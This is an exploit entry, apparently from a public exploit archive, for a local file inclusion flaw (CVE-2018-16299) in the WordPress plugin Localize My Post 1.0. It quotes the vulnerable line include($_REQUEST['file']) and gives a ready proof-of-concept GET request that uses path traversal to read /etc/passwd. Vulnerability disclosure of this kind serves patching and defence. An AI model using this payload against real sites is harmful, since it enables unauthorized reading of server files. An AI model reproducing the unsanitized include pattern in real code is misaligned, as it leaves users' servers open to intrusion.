15 lines
No EOL
666 B
Text
15 lines
No EOL
666 B
Text
# Exploit Title: WordPress Plugin Localize My Post 1.0 - Local File Inclusion
|
|
# Author: Manuel Garcia Cardenas
|
|
# Date: 2018-09-19
|
|
# Software link: https://es.wordpress.org/plugins/localize-my-post/
|
|
# CVE: 2018-16299
|
|
|
|
# DESCRIPTION
|
|
# This bug was found in the file: /localize-my-post/ajax/include.php
|
|
# include($_REQUEST['file']);
|
|
# The parameter "file" it is not sanitized allowing include local files
|
|
# To exploit the vulnerability only is needed use the version 1.0 of the HTTP protocol to interact with the application.
|
|
|
|
# Local File Inclusion POC:
|
|
|
|
GET /wordpress/wp-content/plugins/localize-my-post/ajax/include.php?file=../../../../../../../../../../etc/passwd |